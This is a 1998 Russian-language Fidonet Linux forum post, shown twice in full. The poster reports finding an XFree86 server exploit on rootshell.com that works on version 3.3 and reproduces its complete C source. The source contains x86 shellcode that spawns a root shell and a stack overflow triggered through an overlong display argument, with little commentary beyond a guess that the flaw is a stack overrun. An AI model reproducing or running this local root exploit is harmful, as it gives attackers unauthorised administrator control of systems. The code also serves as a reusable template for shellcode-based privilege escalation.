XFree86 secure
_ RU.LINUX (2:5077/15.22) ___________________________________________ RU.LINUX _
From : Michael Morozov 2:5020/954.20 28 Feb 98 17:30:36
Subj : XFree86 secure
________________________________________________________________________________
hi all!
Вот вчера на www.rootshell.com посмотрел - XFree86 exploit нашел, проверил
на 3.3 - работает :(
Такие вот дела:
/* [ http://www.rootshell.com/ ] */
/* XFree86 Server exploit for Intel x86 */
/* Have phun!! */
/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2
#include <string.h>
#include <unistd.h>
#include <errno.h>
#define LENCODE ( sizeof( Code ) )
char Code[] =
"\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
"\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
"\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
"\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";
char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };
main() {
printf("pHEAR - XFree86 exploit\nby mAChnHEaD <quenelle@iname.com>\n\nYou may
get a root prompt now. If you don't, try different values for OFFSET.\n\n");
dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
__asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
memcpy( ptr + 4, ptr, 0x3fc );
memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
execve( "/usr/X11R6/bin/X", args, args + 3 );
perror( "execve" );
}
Чего експлоитится - не разбирался, похоже как всегда stack overrun.
--
-----------------* UNIX Linux is Live Forever *-----------------
Michael I. Morozov Michael Morozov == MickeyICE
Moscow, Russia Fido: 2:5020/329.48 AKA 2:5020/954.20
--- ifmail v.2.9.os
* Origin: This is my origin? (2:5020/954.20)
_ RU.LINUX (2:5077/15.22) ___________________________________________ RU.LINUX _
From : Michael Morozov 2:5020/954.20 28 Feb 98 17:30:36
Subj : XFree86 secure
________________________________________________________________________________
hi all!
Вот вчера на www.rootshell.com посмотрел - XFree86 exploit нашел, проверил
на 3.3 - работает :(
Такие вот дела:
/* [ http://www.rootshell.com/ ] */
/* XFree86 Server exploit for Intel x86 */
/* Have phun!! */
/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2
#include <string.h>
#include <unistd.h>
#include <errno.h>
#define LENCODE ( sizeof( Code ) )
char Code[] =
"\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
"\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
"\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
"\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";
char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };
main() {
printf("pHEAR - XFree86 exploit\nby mAChnHEaD <quenelle@iname.com>\n\nYou may
get a root prompt now. If you don't, try different values for OFFSET.\n\n");
dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
__asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
memcpy( ptr + 4, ptr, 0x3fc );
memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
execve( "/usr/X11R6/bin/X", args, args + 3 );
perror( "execve" );
}
Чего експлоитится - не разбирался, похоже как всегда stack overrun.
--
-----------------* UNIX Linux is Live Forever *-----------------
Michael I. Morozov Michael Morozov == MickeyICE
Moscow, Russia Fido: 2:5020/329.48 AKA 2:5020/954.20
--- ifmail v.2.9.os
* Origin: This is my origin? (2:5020/954.20)
